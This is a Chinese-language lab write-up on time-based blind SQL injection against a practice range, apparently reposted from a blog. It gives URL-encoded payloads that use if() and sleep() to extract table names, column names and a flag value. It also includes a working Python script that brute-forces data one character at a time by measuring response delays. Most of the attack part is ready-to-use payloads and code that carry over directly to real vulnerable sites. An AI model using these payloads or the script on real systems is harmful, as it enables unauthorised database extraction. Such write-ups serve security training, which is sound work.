1. 程式人生 > 實用技巧 >延遲盲注

延遲盲注

延遲盲注

你不知道你輸入的資料在sql被執行後是否是正確或錯誤的。你只知道有資料。

利用原理

藉助if語句,如果正確就sleep(5),延遲5秒返回資料。通過資料返回的時間大小判斷自己的語句是否正確執行。因為如果正確執行,會休眠5秒。錯誤執行,立馬返回!

靶場1

0x01 是布林盲注還是延遲盲注
payload
http://inject2.lab.aqlab.cn:81/Pass-13/index.php?id=1" and 1=2 -- qwe

這麼明顯錯誤的語句,沒有報錯。只知道是有資料的。那麼肯定不是布林盲注

0x02 判斷延遲盲注
payLoad:

id=1%22and%20if(length(database())%3E100,0,sleep(4))%20--+qwe

0x03 進一步注入查表
正確立馬返回,錯誤休眠5秒
payload:

and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1,0,sleep(10)) --+

然後開始爆破。因為我的intruder測試模組看不了響應的時間,所有我寫了個python指令碼去跑。以下原始碼和結果:
原始碼:

# -*- coding: utf-8 -*-
import requests
import time
 
def Timesql(proxies, user):
    for i in range(1,23):    #資料長度 這裡我偷了下懶 沒有先獲取長度
            for payload in range(35,130):    #遍歷取出字元
                    startTime=time.time()
                    url = 'http://inject2.lab.aqlab.cn:81/Pass-13/index.php?id=1"+and+if(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),' + str(i)+',1))%3d'+str(payload)+',sleep(6),0)--%20qwe'    #url
                    cookies = {
                    }
                    response=requests.get(url,proxies=proxies)    #傳送請求
                    if time.time() - startTime > 5:    #判斷是否延時了5秒
                            user+=chr(payload)    
                            print(chr(payload))
                            break
            if  i != len(user): #無資料時候自動結束
                break
    print ('\nThe result is: '+user) 

def main():
    print ('begining \n')
    ip = '127.0.0.1:8080'
    proxies = {
    'http': 'http://' + ip,
    'https': 'https://' + ip
    }
    user = ''
    Timesql(proxies, user)
    
if __name__ == '__main__':
    main()

結果:

爆破欄位
payload2

1%22+and+if(ascii(substr((select+column_name+from+information_schema.columns+where+table_schema%3ddatabas
e()+and+table_name%3d'loflag'+limit+0,1),3,1))%3d129,sleep(6),0)--%20qwe

圖片:

檢視欄位內容
payload:

1%22+and+if(ascii(substr((select+flaglo+from+loflag+limit+1,1),1,1))%3d88,sleep(6),0)--%20qwe

圖片:

靶場2

原理一樣,注意閉合括號就好了。

payload:

1')+and+if(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),3,1))%3d75,sleep(6),0)--%20qwe

圖片: